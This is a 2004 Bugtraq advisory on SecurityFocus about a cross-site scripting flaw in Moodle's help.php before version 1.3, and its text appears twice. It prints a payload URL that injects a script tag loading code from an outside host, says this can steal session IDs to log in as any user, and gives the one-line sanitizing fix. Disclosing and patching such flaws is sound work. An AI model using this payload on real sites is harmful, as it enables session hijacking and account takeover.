Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Vista
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
BugTraq
Back to list
|
Post reply
Cross Site Scripting in Moodle < 1.3
Apr 30 2004 08:34PM
Bartek Nowotarski (silence10 wp pl)
Cross Site Scripting in Moodle < 1.3
====================================
2004-04-30
[01] Author:
~~~~~~~~~~~~
author: Bartek Nowotarski (silence)
location: Trzebinia, Poland
mail: silence10(at)wp(dot)pl
site: silence(dot)0(dot)pl
[02] Discussion:
~~~~~~~~~~~~~~~~
"Moodle is a course management system (CMS) - a software package designed to
help educators create quality online courses. Such e-learning systems are
sometimes also called Learning Management Systems (LMS) or Virtual Learning
Environments (VLE)." www.moodle.org
It has over 1000 *register* sites in 75 countries.
Project home site: http://www.moodle.org
[03] Bug:
~~~~~~~~~
It is possible to execute any HTML/javascript command in help.php file by
requesting:
------------------------------------------
http://{some_moodle_site}/help.php?text=<script
src={url_to_script_to_execute}></script>
------------------------------------------
A code in {url_to_script_to_execute} will be executed.
Bug enables to get users' session id's by writing a special script and use it
to login as any user.
[04] Solution:
~~~~~~~~~~~~~~
a) This bug have been fixed in version 1.3.
b) For version 1.2 replace line 75:
--------------------------------
75| echo "$text";
--------------------------------
with
--------------------------------
75| echo clean_text($text);
--------------------------------
[05] Credits:
~~~~~~~~~~~~~
Vulnerability discovered by Bartek Nowotarski (silence). All rights reserved.
[06] Disclaimer:
~~~~~~~~~~~~~~~~
This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.
--EOF--
[ reply ]
Privacy Statement
Copyright 2008, SecurityFocus
Cross Site Scripting in Moodle < 1.3
====================================
2004-04-30
[01] Author:
~~~~~~~~~~~~
author: Bartek Nowotarski (silence)
location: Trzebinia, Poland
mail: silence10(at)wp(dot)pl
site: silence(dot)0(dot)pl
[02] Discussion:
~~~~~~~~~~~~~~~~
"Moodle is a course management system (CMS) - a software package designed to
help educators create quality online courses. Such e-learning systems are
sometimes also called Learning Management Systems (LMS) or Virtual Learning
Environments (VLE)." www.moodle.org
It has over 1000 *register* sites in 75 countries.
Project home site: http://www.moodle.org
[03] Bug:
~~~~~~~~~
It is possible to execute any HTML/javascript command in help.php file by
requesting:
------------------------------------------
http://{some_moodle_site}/help.php?text=<script
src={url_to_script_to_execute}></script>
------------------------------------------
A code in {url_to_script_to_execute} will be executed.
Bug enables to get users' session id's by writing a special script and use it
to login as any user.
[04] Solution:
~~~~~~~~~~~~~~
a) This bug have been fixed in version 1.3.
b) For version 1.2 replace line 75:
--------------------------------
75| echo "$text";
--------------------------------
with
--------------------------------
75| echo clean_text($text);
--------------------------------
[05] Credits:
~~~~~~~~~~~~~
Vulnerability discovered by Bartek Nowotarski (silence). All rights reserved.
[06] Disclaimer:
~~~~~~~~~~~~~~~~
This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.
--EOF--
[ reply ]